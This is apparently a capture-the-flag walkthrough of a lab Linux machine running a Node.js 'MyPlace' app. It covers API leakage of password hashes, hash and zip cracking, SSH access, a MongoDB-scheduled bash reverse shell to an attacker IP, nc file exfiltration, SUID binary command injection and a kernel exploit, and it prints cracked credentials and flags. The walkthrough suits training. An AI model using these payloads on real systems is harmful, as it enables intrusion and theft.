IP Address: 10.10.10.58
Key Exploitation Techniques:
- Linux kernel privilege escalation (alternative method)
- SUID binary exploitation through command injection
- Node.js API endpoint enumeration for information disclosure
- SHA256 hash cracking for credential recovery
- Zip file password cracking and archive analysis
Enumeration#
$ nmap -p- --min-rate 10000 10.10.10.58
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp
$ nmap -p 22,3000 -sC -sV 10.10.10.58
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
3000/tcp open hadoop-tasktracker Apache Hadoop
| hadoop-datanode-info:
|_ Logs: /login
| hadoop-tasktracker-info:
|_ Logs: /login
|_http-title: MyPlace
Web Application Analysis#


The application on port 3000 hosts “MyPlace” - a Node.js social media application with login and registration functionality.
# Directory enumeration (fails due to wildcard responses)
$ feroxbuster -u http://10.10.10.58:3000
# Returns 200 for all paths due to client-side routing
JavaScript Analysis#
Browser developer tools reveal multiple JavaScript files defining API endpoints:

API Endpoint Discovery#
app.js:
// Route definitions
when('/', {
templateUrl: '/partials/home.html',
controller: 'HomeCtrl'
}).
when('/profiles/:username', {
templateUrl: '/partials/profile.html',
controller: 'ProfileCtrl'
}).
when('/login', {
templateUrl: '/partials/login.html',
controller: 'LoginCtrl'
}).
when('/admin', {
templateUrl: '/partials/admin.html',
controller: 'AdminCtrl'
})
home.js:
$http.get('/api/users/latest').then(function (res) {
$scope.users = res.data;
});
admin.js:
$scope.backup = function () {
$window.open('/api/admin/backup', '_self');
}
$http.get('/api/session')
.then(function (res) {
if (res.data.authenticated) {
$scope.user = res.data.user;
}
else {
$location.path('/login');
}
});
profile.js:
$http.get('/api/users/' + $routeParams.username)
.then(function (res) {
$scope.user = res.data;
});
Exploitation#
API Endpoint Enumeration#
User Discovery#
# Enumerate users via API
$ curl -s http://10.10.10.58:3000/api/users/latest | jq
[
{
"_id": "59a7368398aa325cc03ee51d",
"username": "tom",
"password": "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240",
"is_admin": false
},
{
"_id": "59a7368e98aa325cc03ee51e",
"username": "mark",
"password": "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73",
"is_admin": false
},
{
"_id": "59aa9781cced6f1d1490fce9",
"username": "rastating",
"password": "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0",
"is_admin": false
}
]
# Check for additional users at base endpoint
$ curl -s http://10.10.10.58:3000/api/users/ | jq
[
{
"_id": "59a7365b98aa325cc03ee51c",
"username": "myP14ceAdm1nAcc0uNT",
"password": "dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af",
"is_admin": true
},
{
"_id": "59a7368398aa325cc03ee51d",
"username": "tom",
"password": "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240",
"is_admin": false
},
{
"_id": "59a7368e98aa325cc03ee51e",
"username": "mark",
"password": "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73",
"is_admin": false
},
{
"_id": "59aa9781cced6f1d1490fce9",
"username": "rastating",
"password": "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0",
"is_admin": false
}
]
Key Discovery: Admin user myP14ceAdm1nAcc0uNT with SHA256 password hash.
Hash Cracking#
# Extract all password hashes
$ curl -s http://10.10.10.58:3000/api/users/ | jq -r '.[].password'
dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af
f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240
de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73
5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0
# Crack using CrackStation or hashcat
# Results:
# dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af -> manchester
# f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240 -> spongebob
# de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73 -> snowflake
# 5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0 -> (not cracked)
Credentials Discovered:
myP14ceAdm1nAcc0uNT:manchester(admin)tom:spongebobmark:snowflake
Admin Panel Access#
Logged into the admin panel with myP14ceAdm1nAcc0uNT:manchester reveals a backup download functionality.

Backup File Analysis#
# Download backup file
$ curl -b "connect.sid=..." http://10.10.10.58:3000/api/admin/backup -o myplace.backup
# Analyze file type
$ file myplace.backup
myplace.backup: ASCII text, with very long lines (65536), with no line terminators
# Decode Base64 content
$ cat myplace.backup | base64 -d > decoded
$ file decoded
decoded: Zip archive data, at least v1.0 to extract
# Attempt extraction (password protected)
$ unzip decoded.zip
Archive: decoded.zip
creating: var/www/myplace/
[decoded.zip] var/www/myplace/package-lock.json password:
Zip Password Cracking#
# Extract zip hash for cracking
$ zip2john decoded.zip > hash.txt
# Crack password with john
$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=PKZIP
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
magicword (decoded.zip)
Source Code Analysis#
# Extract with discovered password
$ unzip -P magicword decoded.zip
# Analyze application source
$ find var/www/myplace -name "*.js" | head -5
var/www/myplace/app.js
$ grep -i "mongodb\|password\|credential" var/www/myplace/app.js
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
Critical Discovery: MongoDB credentials mark:5AYRft73VtFpc84k
SSH Access#
$ ssh mark@10.10.10.58
mark@10.10.10.58's password: 5AYRft73VtFpc84k
mark@node:~$ whoami
mark
mark@node:~$ id
uid=1001(mark) gid=1001(mark) groups=1001(mark)
Privilege Escalation#
Process Analysis#
mark@node:~$ ps aux | grep node
tom 1218 0.0 5.4 1008056 40992 ? Ssl 03:13 0:01 /usr/bin/node /var/scheduler/app.js
Key Finding: Node.js scheduler running as user tom
MongoDB Exploitation#
# Access MongoDB with discovered credentials
mark@node:~$ mongo -u mark -p 5AYRft73VtFpc84k scheduler
MongoDB shell version: 3.2.16
connecting to: scheduler
> show collections
tasks
> db.tasks.find()
# No current tasks
# Analyze scheduler source code
mark@node:~$ cat /var/scheduler/app.js
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler';
MongoClient.connect(url, function(error, db) {
if (error || !db) {
console.log('[!] Failed to connect to mongodb');
return;
}
setInterval(function () {
db.collection('tasks').find().toArray(function (error, docs) {
if (!error && docs) {
docs.forEach(function (doc) {
if (doc) {
console.log('Executing task ' + doc._id + '...');
exec(doc.cmd);
db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
}
});
}
else if (error) {
console.log('[!] Failed to get tasks collection');
}
});
}, 30000);
});
Vulnerability: Scheduler executes doc.cmd from MongoDB tasks collection every 30 seconds.
MongoDB Command Injection#
# Setup netcat listener
$ nc -nlvp 9999
# Insert malicious task in MongoDB
mark@node:~$ mongo -u mark -p 5AYRft73VtFpc84k scheduler
> db.tasks.insert({"cmd":"bash -c 'exec bash -i &>/dev/tcp/10.10.14.6/9999 <&1'"})
WriteResult({ "nInserted" : 1 })
> db.tasks.find()
{ "_id" : ObjectId("6292dff2ead14f78ff847f09"), "cmd" : "bash -c 'exec bash -i &>/dev/tcp/10.10.14.6/9999 <&1'" }
# Reverse shell received as tom
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.58] 35994
bash: cannot set terminal process group (1218): Inappropriate ioctl for device
bash: no job control in this shell
tom@node:/$ whoami
tom
tom@node:/$ python3 -c 'import pty;pty.spawn("/bin/bash")'
tom@node:/$ cat /home/tom/user.txt
e1156acc3574e04b06908ecf76be91b1
SUID Binary Discovery#
tom@node:/$ find / -type f -user root -perm -4000 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/openssh/ssh-keysign
/usr/local/bin/backup
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/newgidmap
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/bin/fusermount
Key Finding: Custom SUID binary /usr/local/bin/backup
SUID Binary Analysis#
# Transfer binary for analysis
tom@node:/usr/local/bin$ nc 10.10.14.6 1234 < /usr/local/bin/backup
# On attacker machine
$ nc -nlvp 1234 > backup
$ chmod +x backup
# Analyze with strings
$ strings backup | head -20
...
zip -r
...
# Analyze with ltrace
$ ltrace ./backup 1 2 3
strcmp("1", "-q") = 1
...
fopen("/etc/myplace/keys", "r") = 0
...

Analysis Results:
- Binary expects 3 arguments
- First argument must be “-q”
- Reads keys from
/etc/myplace/keys - Creates password-protected zip archives
Binary Exploitation Methods#
Method 1: Wildcard Exploitation#
# Use wildcard to access root directory
tom@node:/tmp$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /r**t/r**t.txt > root_zip_b64
# Decode and extract
tom@node:/tmp$ cat root_zip_b64 | base64 --decode > root_zip
tom@node:/tmp$ unzip -P magicword root_zip
Archive: root_zip
extracting: root/root.txt
tom@node:/tmp$ cat root/root.txt
1722e99ca5f353b362556a62bd5e6be0
Method 2: Home Directory Method#
# Set HOME environment variable to /root
tom@node:/tmp$ export HOME=/root
tom@node:/tmp$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "~" > root_home_zip_b64
# Decode and extract full root directory
tom@node:/tmp$ cat root_home_zip_b64 | base64 --decode > root_home_zip
tom@node:/tmp$ unzip -P magicword root_home_zip
Archive: root_home_zip
creating: root/
inflating: root/.profile
inflating: root/.bash_history
creating: root/.cache/
extracting: root/.cache/motd.legal-displayed
extracting: root/root.txt
inflating: root/.bashrc
inflating: root/.viminfo
creating: root/.nano/
extracting: root/.nano/search_history
tom@node:/tmp$ cat root/root.txt
1722e99ca5f353b362556a62bd5e6be0
Method 3: Command Injection#
# Exploit newline injection in zip command
tom@node:/tmp$ newline=\n'
tom@node:/tmp$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "test${newline}/bin/bash${newline}test"
zip warning: name not matched: test
zip error: Nothing to do! (try: zip -r -P magicword /tmp/.backup_1492681799 . -i test)
whoami
root
cat /root/root.txt
1722e99ca5f353b362556a62bd5e6be0
Alternative: Linux Kernel Exploitation#
# Check kernel version
tom@node:/tmp$ uname -a
Linux node 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
# Download and compile kernel exploit (CVE-2017-1000253)
$ searchsploit Ubuntu 16.04 Privilege Escalation
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation | linux/local/45010.c
# Transfer and execute
tom@node:/tmp$ wget 10.10.14.3/45010.c
tom@node:/tmp$ gcc 45010.c -o 45010
tom@node:/tmp$ ./45010
[.]
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
...
[*] credentials patched, launching shell...
# whoami
root